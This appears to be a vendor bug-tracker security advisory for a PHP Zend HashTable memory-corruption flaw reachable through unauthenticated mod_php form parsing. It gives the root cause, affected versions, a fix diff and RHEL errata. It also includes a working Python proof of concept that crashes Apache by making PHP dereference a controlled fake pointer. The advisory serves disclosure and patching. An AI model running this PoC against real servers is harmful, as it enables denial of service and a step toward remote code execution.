Fedora Account System
Red Hat Associate
Red Hat Customer
# PHP Zend HashTable raw-key partial-insertion memory corruption (CAND-049) Affected component: `Zend/zend_hash.c`, raw-string insertion APIs ### Summary PHP can publish an uninitialized HashTable Bucket when a raw-string key allocation fatals. An unauthenticated mod_php request can reach the bug before the target script runs; later cleanup consumes stale attacker-influenced zval and key pointers. The resulting critical engine corruption has been developed into disclosure, arbitrary-free/UAF primitives, and native code execution. ### Details #### Affected versions and introduction The unsafe optimization was introduced by php-src commit: ```text 6de54703f055231603816495c55e6e1924cb5e71 Improved zend_hash_str_add/update functions ``` The previous raw-string wrappers allocated the `zend_string` before entering the insertion helper. The optimized missing-key branch instead deferred that fallible allocation until after live-table metadata was modified. - First affected release: PHP 7.3.0. - Source-confirmed affected minor lines: PHP 7.3, 7.4, 8.0, 8.1, 8.2, 8.3, 8.4, 8.5, and the audited PHP 8.6 development revision. - Total affected minor release lines: 9. - PHP 7.2 and earlier do not contain this exact raw-key ordering. The version range was derived from source history. Natural network validation and exploit validation cover representative optimized packages and current development builds rather than every historic binary. #### Vulnerability root versus triggering fatal The vulnerability is the nontransactional ownership transition, not `memory_limit` or OOM. Any non-local exit after the two counters advance and before the Bucket is initialized can leave the false live entry. A memory- limit fatal is the demonstrated network-reachable interruption because it occurs synchronously during the owned-key allocation. Three conditions are distinct: 1. A producer inserts a missing nonnumeric raw string key. 2. A fatal/bailout interrupts the key allocation after publication. 3. A surviving owner is later traversed or destroyed. An ordinary “Allowed memory size exhausted” response does not prove CAND-049. Allocations before publication, table growth, and cleanup of an abandoned temporary all fail safely. The fatal must occur in the owned-key allocation, and a later consumer must trust the advanced live-entry count. The helper has no known user callback or regular VM-interrupt checkpoint in this narrow window. OOM is therefore the primary confirmed remote mechanism. A signal or timeout that only terminates the process is not equivalent to the malformed-table condition. #### Technical root cause The missing-key path in `_zend_hash_str_add_or_update_i()` checks capacity and then advances both live-entry counters before allocating the key: ```c ZEND_HASH_IF_FULL_DO_RESIZE(ht); add_to_hash: idx = ht->nNumUsed++; ht->nNumOfElements++; p = ht->arData + idx; p->key = key = zend_string_init( str, len, GC_FLAGS(ht) & IS_ARRAY_PERSISTENT); p->h = ZSTR_H(key) = h; HT_FLAGS(ht) &= ~HASH_FLAG_STATIC_KEYS; ZVAL_COPY_VALUE(&p->val, pData); /* link Bucket into hash index */ ``` `zend_string_init()` can raise a memory-limit fatal and never return. At that point: - `nNumUsed` and `nNumOfElements` claim the Bucket is live; - the Bucket's zval, hash, key pointer, and collision link are stale bytes; - PHP never initialized or owned the key; and - the Bucket is absent from the hash index. This last condition creates an observable inconsistency: key lookup cannot find the entry, while linear consumers use `nNumUsed` and include it. The generic HashTable destructor does exactly that: ```c Bucket *p = ht->arData; Bucket *end = p + ht->nNumUsed; do { i_zval_ptr_dtor(&p->val); if (EXPECTED(p->key)) { zend_string_release_ex(p->key, false); } } while (++p != end); ``` Stale `p->val` controls which zval cleanup branch runs; stale `p->key` controls an independent string reference decrement/release. Reuse can make either field point to live data allocated after the failed insertion. #### Affected APIs Affected missing-nonnumeric-key paths include: - `zend_hash_str_add()` and `zend_hash_str_add_new()`; - `zend_hash_str_update()` and `zend_hash_str_update_ind()`; - `zend_hash_str_lookup()`; and - raw-string wrappers that reach the same internal missing-key branch. `zend_symtable_str_*()` is affected when the supplied key is nonnumeric. Numeric-index insertion and insertion using an already allocated `zend_string *` do not contain this exact post-counter allocation. Existing- key replacement also bypasses the missing-key publication window. #### Generic request-variable entry point Bracketed variables cause `php_register_variable_ex()` to create missing intermediate arrays. The missing root is passed as a raw pointer/length: ```c gpc_element_p = zend_symtable_str_find(symtable1, index, index_len); if (!gpc_element_p) { zval tmp; array_init(&tmp); gpc_element_p = zend_symtable_str_update_ind( symtable1, index, index_len, &tmp); } ``` The resulting path is: ```text form parser -> php_register_variable_ex() -> zend_symtable_str_update_ind() -> zend_hash_str_update_ind() -> _zend_hash_str_add_or_update_i() ``` The following distinction is load-bearing: ```text name=value normally uses a prebuilt key name[child]=value missing nonnumeric root reaches CAND-049 123[child]=value numeric-index path, not this allocation window ``` One nested variable still counts as one input against `max_input_vars`; no over-limit nesting is required. At the stock 128 MiB limit, CAND-072's empty-upload metadata expansion or CAND-056's lengthless multipart stream supplies the required pressure before a final missing nested root. Both producers reach this helper before a fixed target file executes; neither changes the CAND-049 ownership root. #### SAPI and lifetime boundaries Apache mod_php wraps request startup in a bailout handler and subsequently runs its request destructor: ```c zend_first_try { if (php_apache_request_ctor(r, ctx) != SUCCESS) { zend_bailout(); } } zend_end_try(); if (!parent_req) { php_apache_request_dtor(r); } ``` This supplies all three requirements: native request parsing produces the malformed entry, the request-global table survives the fatal, and shutdown linearly destroys it. The persistent child can also retain allocator state across requests. The confirmed generic production boundary is NTS prefork; threaded module configurations share the root but require independent lifetime analysis. FPM's automatic startup-failure branch normally finishes the FastCGI request and terminates that worker. It therefore confirms the source fault but does not run the same stale-Bucket consumer or reuse the allocator. FPM becomes materially exposed when application code invokes an affected parser after normal startup and stores the incomplete table in a global, object, resource, or temporary PHP-global slot that shutdown later consumes. PHP 8.4+'s `request_parse_body()` is a strong example: it temporarily replaces global POST/FILES zvals and restores them only after parsing returns. A fatal skips restoration while normal FPM request shutdown remains active. Frameworks that call it for non-POST methods can reach the producer, but route exposure, remaining memory, owner, and final consumer are application-specific. The source defect must not be described as generic FPM RCE without those links. #### Recommended fix Restore transactional ordering by allocating the key before publishing the new Bucket: ```diff add_to_hash: + key = zend_string_init( + str, len, GC_FLAGS(ht) & IS_ARRAY_PERSISTENT); idx = ht->nNumUsed++; ht->nNumOfElements++; p = ht->arData + idx; - p->key = key = zend_string_init( - str, len, GC_FLAGS(ht) & IS_ARRAY_PERSISTENT); + p->key = key; ``` Alternatively, all non-local failure paths must roll back both counters and leave a zeroed, unreachable, destructor-safe slot. Fixing callers or adding request-specific checks leaves the shared API vulnerable to another owner. Regression tests should inject failure at every allocation in missing-key insertion and then perform lookup, iteration, destruction, copy, merge, and request shutdown. Tests should cover each exported raw-key wrapper and both packed-to-mixed and already-mixed tables. ### PoC The smallest network PoC uses Ubuntu 26.04 arm64's packaged PHP 8.5.4 NTS mod_php with `memory_limit=32M`, `post_max_size=8M`, and `display_errors=Off`. Only the memory limit is reduced to keep the request short; the stock-limit paths are described above. Serve: ```php <?php echo "hi\n"; ``` Run this Python client: ```python import socket, struct from urllib.parse import quote_from_bytes host, port, target = "127.0.0.1", 80, "/index.php" def request(method, path, body=b"", content_type=None): h = [f"{method} {path} HTTP/1.1", f"Host: {host}", "Connection: close", f"Content-Length: {len(body)}"] if content_type: h.append(f"Content-Type: {content_type}") wire = ("\r\n".join(h) + "\r\n\r\n").encode() + body try: with socket.create_connection((host, port), 10) as s: s.settimeout(60); s.sendall(wire); out = b"" while data := s.recv(65536): out += data return out except OSError: return b"" warm = b"&".join(b"w%d=" % i + b"W" * 264 for i in range(8)) request("POST", target, warm, "application/x-www-form-urlencoded") request("POST", target, warm, "application/x-www-form-urlencoded") fake = struct.pack("<QIIQQ", 0x1122334455667788, 4, 0, 0x1337, 0x4141414141414141) donor = b"CONTROLLED_BUCKET".ljust(232, b"D") + fake query = [] for i in range(9): value = donor if i == 2 else (b"Q%d" % i).ljust(264, b"A") query.append("q%d=%s" % (i, quote_from_bytes(value, safe=""))) query += ["q%d=U" % i for i in (6, 0, 1, 2, 3, 4)] prefix = [b"p%d=" % i + b"V" * 264 for i in range(6)] body = b"&".join(prefix + [b"R" * 7_700_000 + b"[x]=v"]) response = request("POST", target + "?" + "&".join(query), body, "application/x-www-form-urlencoded") print(response.partition(b"\r\n")[0] or b"EOF") ``` The final key allocation emits the 32 MiB OOM, but mod_php then destroys the partially published Bucket and dereferences `0x4141414141414141`; the affected Apache child exits with SIGSEGV. A version changing the last qword to zero is the noncrashing donor control. The target's `hi` is never printed. ### Impact Unauthenticated engine memory corruption before application execution, with validated disclosure, arbitrary-free/UAF primitives, and native code execution under mod_php.
This issue has been addressed in the following products: Red Hat Enterprise Linux 8 Via RHSA-2026:87080 https://access.redhat.com/errata/RHSA-2026:87080
This issue has been addressed in the following products: Red Hat Enterprise Linux 9 Via RHSA-2026:87151 https://access.redhat.com/errata/RHSA-2026:87151
This issue has been addressed in the following products: Red Hat Enterprise Linux 10 Via RHSA-2026:87071 https://access.redhat.com/errata/RHSA-2026:87071
This issue has been addressed in the following products: Red Hat Enterprise Linux 10 Via RHSA-2026:87070 https://access.redhat.com/errata/RHSA-2026:87070
This issue has been addressed in the following products: Red Hat Enterprise Linux 8 Via RHSA-2026:87073 https://access.redhat.com/errata/RHSA-2026:87073
This issue has been addressed in the following products: Red Hat Enterprise Linux 9 Via RHSA-2026:87079 https://access.redhat.com/errata/RHSA-2026:87079
This issue has been addressed in the following products: Red Hat Enterprise Linux 9 Via RHSA-2026:87072 https://access.redhat.com/errata/RHSA-2026:87072